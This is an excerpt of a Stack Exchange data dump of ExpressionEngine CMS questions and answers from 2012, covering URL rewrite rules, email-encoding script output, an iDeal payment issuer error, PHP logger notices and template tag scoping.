  <row Id="631" PostTypeId="2" ParentId="525" CreationDate="2012-11-28T10:21:13.860" Score="0" Body="&lt;p&gt;Maybe you should re-think why you want multiple datatables on a page. To me that sounds like a UI disaster, especially if they were stacked vertically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, you should be able to do it using the built in table class (note: from memory, it actually uses &lt;a href=&quot;http://tablesorter.com/docs/&quot; rel=&quot;nofollow&quot;&gt;tablesorter&lt;/a&gt;, not &lt;a href=&quot;http://datatables.net/&quot; rel=&quot;nofollow&quot;&gt;datatables&lt;/a&gt;). I highly recommend using that class over rolling your own, it makes your code much simpler. I expect you would need to make sure there are no overlapping POST parameters between the two tablesorters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't really understand your pagination issue (can you elaborate?), but knowing PHP and JS I bet there is a way for you to override it. If all else fails, just dig around in the EE source til you find a solution!&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-11-28T10:21:13.860" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="632" PostTypeId="2" ParentId="542" CreationDate="2012-11-28T10:30:09.343" Score="1" Body="&lt;p&gt;I use an extended version of the 'official' rewrite which also redirects any index.php requests to the shortened URL. This basic rewrite introduces a situation whereby all of your content can be accessed both with and without &lt;code&gt;index.php&lt;/code&gt; in the URL. This is easily avoided with a few extra lines of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;&#xA;# Enable Rewrite Engine&#xA;# ------------------------------&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;&#xA;# Redirect index.php Requests&#xA;# ------------------------------&#xA;RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;RewriteCond %{THE_REQUEST} !/system/.*&#xA;RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,L]&#xA;&#xA;# Standard ExpressionEngine Rewrite&#xA;# ------------------------------&#xA;RewriteCond $1 !\.(css|js|gif|jpe?g|png) [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Full credit for this goes to Kevin Thompson who &lt;a href=&quot;http://kevinthompson.info/blog/completely-remove-index-php-from-expressionengine-urls/&quot; rel=&quot;nofollow&quot;&gt;posted it&lt;/a&gt; on his blog last year.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2012-11-28T10:30:09.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="633" PostTypeId="1" CreationDate="2012-11-28T10:38:44.517" Score="1" ViewCount="862" Body="&lt;p&gt;I use &lt;code&gt;{encode=&quot;{webmaster_email}&quot; title=&quot;Send E-Mail&quot;}&lt;/code&gt; to hide my email address from harvester bots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use this code within my template all is fine. This code is also part of the footer. The footer is an early parsed variable from  the Republic Variables module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is: {encode} delivers a fully functional &lt;code&gt;mailto&lt;/code&gt; tag, but also prints the string between the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at the HTML source after rendering, extraced the two &lt;code&gt;{encode}&lt;/code&gt; parts and compared them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code, that I get, when I put &lt;code&gt;{encode}&lt;/code&gt; into the template. It renders as a &lt;code&gt;mailto&lt;/code&gt;, as expected.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;span data-eeEncEmail_FJbRPLRqeP='1'&amp;gt;.(JavaScript must be enabled to view this email &#xA;address)&amp;lt;/span&amp;gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;/*&amp;lt;![CDATA[*/var out = '',el = &#xA;document.getElementsByTagName('span'),l = ['&amp;gt;','a','/','&amp;lt;',' 110',' 101',' 100',' 110',' &#xA;101',' 115',' 32',' 108',' 105',' 97',' 77',' 45',' 69','&amp;gt;','\&quot;',' 101',' 100',' 46',' &#xA;97',' 105',' 100',' 101',' 109',' 116',' 117',' 107',' 105',' 100',' 110',' 97',' 98',' &#xA;64',' 101',' 107',' 99',' 101',' 110',' 114',' 97',' 119',' &#xA;97',':','o','t','l','i','a','m','\&quot;','=','f','e','r','h','a ','&amp;lt;'],i = l.length,j = &#xA;el.length;while (--i &amp;gt;= 0){out += unescape(l[i].replace(/^\s\s*/, '&amp;amp;#'));}while (--j &amp;gt;= &#xA;0){/**/if (el[j].getAttribute('data-eeEncEmail_FJbRPLRqeP')){el[j].innerHTML = out;}}/*]]&amp;gt;*&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the code, that I get from the &lt;code&gt;{encode}&lt;/code&gt;, that is part of the footer variable. This gives me a fully functional &lt;code&gt;mailto&lt;/code&gt; plus all the stuff between the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;tags gets rendered as text and appears as such on the page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;span data-eeEncEmail_OOxdsWxRWB='1'&amp;gt;.(JavaScript must be enabled to view this email address)&amp;lt;/span&amp;gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;**/*&amp;lt;![CDATA[*/var out = '',el =&#xA;    document.getElementsByTagName('span'),l = ['&amp;gt;','a','/','&amp;lt;',' 110',' 101',' 100','&#xA;110',' 101',' 115',' 32',' 108',' 105',' 97',' 77',' 45',' 69','&amp;gt;','\&quot;',' 101',' 100',' &#xA;46',' 97',' 105',' 100',' 101',' 109',' 116',' 117',' 107',' 105',' 100',' 110',' 97',' &#xA;98',' 64',' 101',' 107',' 99',' 101',' 110',' 114',' 97',' 119','&#xA;97',':','o','t','l','i','a','m','\&quot;','=','f','e','r','h','a ','&amp;lt;'],i = l.length,j = &#xA;el.length;while (--i &amp;gt;= 0){out += unescape(l[i].replace(/^\s\s*/, '&amp;amp;#'));}while (--j &amp;gt;= &#xA;0){/**/if (el[j].getAttribute('data-eeEncEmail_OOxdsWxRWB')){el[j].innerHTML = out;}}/*]]&amp;gt;*&#xA;/**&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I saved both to a local HTML file and letthe browser render it. I got 2 mailto-links, as expected. So, the code works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does EE add the &lt;code&gt;CDATA&lt;/code&gt; stuff, when I put &lt;code&gt;{encode}&lt;/code&gt; in the footer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: It seems to be a CSS issue. The &quot;E-Mail me&quot;-Link is part of an inline list in the footer. The respective CSS is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ul.inline-list &amp;gt; li &amp;gt; * { display: block; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I delete this line, the Javascript disappears. Just changeing to display:inline or any other display type doesn´t help. display:none makes the entire entry (the mailto plus the superflous JS) disappear.&lt;/p&gt;&#xA;" OwnerUserId="136" LastEditorUserId="136" LastEditDate="2012-11-28T18:30:16.173" LastActivityDate="2014-10-02T15:29:24.927" Title="Email encode tag Javascript issues" Tags="|ee2|snippets|variable|javascript|encode|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="635" PostTypeId="1" AcceptedAnswerId="640" CreationDate="2012-11-28T11:18:30.840" Score="3" ViewCount="214" Body="&lt;p&gt;First things first:&#xA;I'm running on EE 2.5.3, Expresso Store 1.6.1. All certificates are in place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the final step of the checkout process, after choosing &quot;iDeal&quot; and an issuer, i get an  error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;IssuerID unknown (AP1200: Field generating error: IssuerID unknown)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think this means the issuerID is incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code i'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;payment[issuer]&quot;&amp;gt; &#xA;&amp;lt;option selected value=&quot;&quot;&amp;gt;Selecteer uw bank...&amp;lt;/option&amp;gt; &#xA;&amp;lt;option value=&quot;0031&quot;&amp;gt;ABN AMRO&amp;lt;/option&amp;gt; &#xA;&amp;lt;option value=&quot;0091&quot;&amp;gt;Friesland Bank&amp;lt;/option&amp;gt; &#xA;&amp;lt;option value=&quot;0721&quot;&amp;gt;ING&amp;lt;/option&amp;gt; &#xA;&amp;lt;option value=&quot;0021&quot;&amp;gt;Rabobank&amp;lt;/option&amp;gt; &#xA;&amp;lt;option value=&quot;0751&quot;&amp;gt;SNS Bank&amp;lt;/option&amp;gt; &#xA;&amp;lt;option value=&quot;0761&quot;&amp;gt;ASN Bank&amp;lt;/option&amp;gt; &#xA;&amp;lt;option value=&quot;0771&quot;&amp;gt;SNS Regio Bank&amp;lt;/option&amp;gt; &#xA;&amp;lt;option value=&quot;0511&quot;&amp;gt;Triodos Bank&amp;lt;/option&amp;gt; &#xA;&amp;lt;option value=&quot;0161&quot;&amp;gt;Van Lanschot&amp;lt;/option&amp;gt; &#xA;&amp;lt;/select&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can i make sure Expresso Store supplies my bank with the correct issuerID?&lt;/p&gt;&#xA;" OwnerUserId="426" LastEditorUserId="268" LastEditDate="2012-11-28T15:06:22.110" LastActivityDate="2012-11-28T15:06:22.110" Title="Exp-resso store, iDeal payments: AP1200: IssuerID unknown" Tags="|add-on|expresso-store|checkout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="636" PostTypeId="2" ParentId="633" CreationDate="2012-11-28T11:19:28.707" Score="2" Body="&lt;p&gt;The &lt;code&gt;&amp;lt;!CDATA&lt;/code&gt; block is only required if you need your document to be parsable as &lt;code&gt;XML&lt;/code&gt;, for example if you're using an `XHTML~ doctype. For a full explanation of why this was necessary in the past see &lt;a href=&quot;https://stackoverflow.com/questions/66837/when-is-a-cdata-section-necessary-within-a-script-tag&quot;&gt;this stackoverflow qn&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using a modern, HTML5 doctype then using &lt;code&gt;&amp;lt;!CDATA&lt;/code&gt; isn't necessarily, but I'm guessing EllisLab include it in the &lt;code&gt;{encode}&lt;/code&gt; output for backwards compatibility with sites that are using the older XHTML doctype.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;I suspect the reason that the encode isn't working properly in the footer is probably still a parse order issue - if you use a snippet does it works as expected?&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scratch that: if that is the source copied direct from the outputted page it looks like in your global variable the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag is getting stripped from the output, hence the content getting output as text to the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What version of EE are you using? Is this GV inside of a conditional? I seem to remember that there was a bug (fixed in 2.5.3) that could cause script tags to be stripped from evaluated variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might still be worth trying a snippet instead of a GV just to see if that works too...&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2012-11-28T11:31:43.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="637" PostTypeId="2" ParentId="559" CreationDate="2012-11-28T11:36:02.033" Score="0" Body="&lt;p&gt;I'm using this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;&#xA;# Redirect index.php Requests&#xA;# ------------------------------&#xA;RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;RewriteCond %{THE_REQUEST} !/system/.*&#xA;RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,L]&#xA;&#xA;# Redirect search results Requests&#xA;RewriteRule ^search/results(.*)$ http://www.mysite.com/zoek/resultaat$1 [L,R=301]&#xA;&#xA;# Standard ExpressionEngine Rewrite&#xA;# ------------------------------&#xA;RewriteCond $1 !\.(css|js|gif|jpe?g|png) [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&#xA;&amp;lt;/IfModule&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I thought this might come in handy in scenario 2 - search.&#xA;My search didn't work either and i also needed a single search page.&lt;/p&gt;&#xA;" OwnerUserId="426" LastActivityDate="2012-11-28T11:36:02.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="638" PostTypeId="2" ParentId="559" CreationDate="2012-11-28T11:56:46.047" Score="1" Body="&lt;p&gt;Yet another way to do this would be to disable &quot;Use Strict URLS&quot; in global template prefs and set &quot;Westeros&quot; as your default template group - you can then access any template in that group at &lt;code&gt;/&amp;lt;template-name&amp;gt;&lt;/code&gt;: see &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/211/what-does-enable-strict-urls-really-mean&quot;&gt;What does “Enable Strict URLs” really mean?&lt;/a&gt; for details and caveats&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2012-11-28T21:53:38.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="639" PostTypeId="1" AcceptedAnswerId="644" CreationDate="2012-11-28T12:00:57.530" Score="3" ViewCount="256" Body="&lt;p&gt;I'm getting some issues with some EE php errors, i believe its related to the EE Zoo Triggers Add On, but im finding it really tricky to debug and get the feeling I may be searching in the wrong place.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice    &#xA;Message: Undefined index: timestamp    &#xA;Filename: libraries/Logger.php    &#xA;Line Number: 121&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Notice    &#xA;Message: Undefined index: log_id&#xA;Filename: libraries/Logger.php&#xA;Line Number: 127&#xA;&#xA;Error Number: 1054&#xA;Unknown column 'year' in 'field list'&#xA;UPDATE `exp_developer_log` SET `year` = NULL, `month` = NULL, `count` = '0', `viewed` = 'n', `timestamp` = 1354016532 WHERE `log_id` IS NULL&#xA;Filename: libraries/Logger.php&#xA;Line Number: 128 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is a little more info, error lines etc on a ticket in the devotee forums but i wanted to put it out to the EE community, see if any of you guys have come across similar errors and might be able to help resolve&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a little more info on what we have investigated so far:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Im running EE 2.5.3 &amp;amp; PHP 5.2.17. Its triggered when I add the achieve&#xA;  or categories list tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_triggers:categories    &#xA;    channel=&quot;tours&quot;  &#xA;    path=&quot;{structure:page:uri}/region&quot;   &#xA;    show_counter=&quot;yes&quot;   &#xA;    style=&quot;list&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_triggers:archive    &#xA;    channel=&quot;blog&quot;   &#xA;    path=&quot;/blog/archive&quot;  &#xA;    type=&quot;monthly&quot;   &#xA;    style=&quot;list&quot;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;I use stash so these calls i from&#xA;  within Stash set / append tags etc. Only other strange issue is that&#xA;  it some cases (when logged in) it loads in the first instance and then&#xA;  breaks on refresh or when clicking through to an archive link for&#xA;  example, then the error persists. Clearing the ee cache or removing /&#xA;  reassigning the structure listing resolves for that first visit again.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;...&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It’s somewhat strange because the function where the errors occur must&#xA;  be directly called, and that isn’t so in Zoo Triggers nor in the&#xA;  version of Stash that I’m currently testing. Can you do a project&#xA;  search on: -&gt;developer( So we can have a better look what add-ons are&#xA;  calling the function directly.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;...&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Its odd, only references i can find are from the ee core:&#xA;  system/expressionengine/core/EE_loader.php - line 136&#xA;  system/expressionengine/libraries/EE_Form_validation.php - line 438&#xA;  system/expressionengine/libraries/Logger.php - line 186&#xA;  system/expressionengine/modules/search/mod.search.php - line 186&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;...&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Source  &lt;a href=&quot;http://devot-ee.com/add-ons/support/zoo-triggers/viewthread/7935&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/support/zoo-triggers/viewthread/7935&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sam&lt;/p&gt;&#xA;" OwnerUserId="431" LastEditorUserId="431" LastEditDate="2012-11-28T12:17:02.807" LastActivityDate="2012-11-28T12:17:02.807" Title="Logger.php throwing PHP errors" Tags="|add-on|php|error|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="640" PostTypeId="2" ParentId="635" CreationDate="2012-11-28T12:01:21.137" Score="4" Body="&lt;p&gt;Where are you getting that list of issuers from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be using this, it will automatically load the list of issuers and cache it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;payment[issuer]&quot;&amp;gt;&#xA;    {ideal_issuer_options}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Mostly likely, I'm guessing you have the gateway in test mode, and it will be expecting you to use the test issuer (which the iDeal gateway will output when you use the snippet above), rather than one of the live issuers.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-11-28T12:01:21.137" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="641" PostTypeId="1" AcceptedAnswerId="654" CreationDate="2012-11-28T12:03:16.347" Score="5" ViewCount="77" Body="&lt;p&gt;I'm trying to set some &lt;code&gt;mx_jumper&lt;/code&gt; content from within an &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag, and then output it somewhere else on the page. The page is an entry page and available on a url such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; /blog/entry/the-blog-entry-url-title&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I created a simple test page to eliminate anything that might interfere with the functionality, and the code looks as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot;}&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    {exp:mx_jumper:put name=&quot;test&quot;}Move this content to outside the loop{/exp:mx_jumper:put}&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:mx_jumper:out name=&quot;test&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is, that the contents of the mx_jumper test content only shows up when the exp:mx_jumper:out tag is inside the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what could be wrong?&lt;/p&gt;&#xA;" OwnerDisplayName="user417" LastEditorUserId="104" LastEditDate="2012-11-29T00:20:49.113" LastActivityDate="2012-11-29T00:20:49.113" Title="mx_jumper contents not available outside channel:entries tag" Tags="|add-on|channel|plugin|channel-entries|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="642" PostTypeId="2" ParentId="633" CreationDate="2012-11-28T12:03:42.647" Score="0" Body="&lt;p&gt;Try turning off the protect javascript config variable: &lt;code&gt;$config['protect_javascript'] = 'n';&lt;/code&gt;. You can set this in &lt;code&gt;/system/expressionengine/config/config.php&lt;/code&gt; file. This has solved similar problems for me in the past.&lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2012-11-28T12:13:48.117" LastActivityDate="2012-11-28T12:13:48.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="643" PostTypeId="2" ParentId="641" CreationDate="2012-11-28T12:13:46.760" Score="0" Body="&lt;p&gt;Try adding &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; on your &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag. I've never used that plugin but it looks similar to stash, and the parse thing works 9/10 times.&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="150" LastEditDate="2012-11-28T22:15:48.550" LastActivityDate="2012-11-28T22:15:48.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="644" PostTypeId="2" ParentId="639" CreationDate="2012-11-28T12:16:49.607" Score="2" Body="&lt;p&gt;The best way to diagnose PHP errors is to dig into the code and report the culprit. Do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open &lt;code&gt;system/expressionengine/libraries/Logger.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At line 120 (right before your first error message), add this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! isset($duplicate['timestamp']))&#xA;{&#xA;    debug_print_backtrace();&#xA;    exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now taking a look at that particular part of the EE code, I really can't see what would cause those PHP errors you're seeing. Some code is trying to create a developer log entry and making a mess of things. It's likely to be an EE bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At least this should help you figure out what add-on is responsible for the problem!&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-11-28T12:16:49.607" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="645" PostTypeId="1" AcceptedAnswerId="648" CreationDate="2012-11-28T12:18:14.810" Score="3" ViewCount="76" Body="&lt;p&gt;Is there a way to allow logged in users to search on the front-end by ID number?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve got a list of entries here (http://dev.andover-tc.gov.uk/allotments/maintenance).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need to do is setup the search box at the top of the page to allow logged in users to type an entry_id number in and only that entry be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m thinking I may be able to use the URL to control this (i.e. allotments/maintenance/147) but can’t work out how to take the data from an input field and use this to create a URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if there’s an easier way I’m open to that too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tom&lt;/p&gt;&#xA;" OwnerUserId="432" LastActivityDate="2012-11-28T12:34:41.233" Title="Is it possible to search by entry number on the front-end?" Tags="|search|entry|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="646" PostTypeId="2" ParentId="641" CreationDate="2012-11-28T12:23:21.193" Score="0" Body="&lt;p&gt;I'd also try adding limit=&quot;1&quot; to your entries loop - if used as it is right now, it could be trying to set multiple jumper variables with a name of &quot;test&quot;.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2012-11-28T12:23:21.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="647" PostTypeId="1" AcceptedAnswerId="665" CreationDate="2012-11-28T12:29:45.557" Score="3" ViewCount="1042" Body="&lt;p&gt;&lt;strong&gt;What we are trying to do:&lt;/strong&gt;&lt;br&gt;&#xA;I am using three category-groups, &quot;product category&quot;, brands and country of origin, to create a navigation in a shop with the ability to filter the content of each product category with a specific brand or country.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The product category group is used to generate the main navigation and when a category is selected a listing-page is displayed with the entries of that category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The display page in turn shows a &quot;sub-nav&quot; of the different brands and countries of origins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Structure of the product category group:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Main category 1&#xA;    sub-category 1&#xA;    sub-category 2&#xA;Main category 2&#xA;    sub-category 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When i pick a sub-category my url looks like this:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;domain.com/products/[sub-category]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This page should show all products in this category and possible 3rd levels of product groups in the top and then brands and countries in a sub-nav.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should look a little like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3rd lvl sub-category&#xA;-&#xA;Brands&#xA;    Brand 2&#xA;    Brand 5&#xA;Countries of origin&#xA;    Country 1&#xA;    Country 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where Brand 1/3/4 and Country 2 are not shown since no product with the [sub-category] has them selected.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i select a brand or country that segment is added to the url and {segment_category_ids} gives me all the matched categories for use in the {exp:channel:entries} tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is where i am having some problems..&lt;/strong&gt;&lt;br&gt;&#xA;I cant get my head around how to display only the brands and countries that have entries in the already selected [sub-category].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default it displays every category that is used by any entry in the products channel. We haven't used categories all that much so i am not sure that i am going at it the right way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to create a list of all the entry_id's from the subset and use those pipe-separated in the show-parameter of the {exp:channel:categories} tag-pair but i haven't gotten it to work yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have mostly been using Playa for relations between different entries and &quot;pages&quot; before but i thought i could be good to get a grip on how to do it natively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a better approach or any ideas on what i should do?&lt;/p&gt;&#xA;" OwnerUserId="329" LastEditorUserId="329" LastEditDate="2012-11-28T14:37:40.767" LastActivityDate="2013-03-21T14:31:51.540" Title="Channel:categories of entries that have category from different category group" Tags="|categories|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="648" PostTypeId="2" ParentId="645" CreationDate="2012-11-28T12:32:57.150" Score="2" Body="&lt;p&gt;You could use &lt;a href=&quot;http://devot-ee.com/add-ons/evopost&quot; rel=&quot;nofollow&quot;&gt;EvoPost&lt;/a&gt; to take the submitted value and send the user to a link. I wrote up a blog post about doing that &lt;a href=&quot;http://caffeinecreations.ca/blog/a-mostly-out-of-the-box-quiz-with-expressionengine&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. But essentially you'll create your form and have the action url for that form go to a template in your site that has the following or similar code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:evopost:getpostdata}&#xA;  {redirect=&quot;/template_group/template_name/{ep_entry_id}/&quot;}&#xA;{/exp:evopost:getpostdata}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And voila you'll be pulling up the correct entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-11-28T12:32:57.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="649" PostTypeId="2" ParentId="610" CreationDate="2012-11-28T12:33:26.350" Score="0" Body="&lt;p&gt;I've done this sort of thing using Matrix for the content as a whole, as avenue6 suggested, and it's worked out great for the client, abstracting the images from the RTE field while easily giving me specific image field targets to use either native image manipulations or plugins like CE Image to create and store the different sizes needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each Matrix row is a &quot;row&quot; of content for the client to enter.  One row could be one paragraph or ten, for example. The basic idea is that you would simply create a new row at each point at which an image needs to be injected into the flow of the content. SO the Matrix might include several columns, such as paragraph text, image, image position/class, image caption. Each time an image is needed, you would start a new row, completing all the relevant fields.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2012-11-28T12:33:26.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
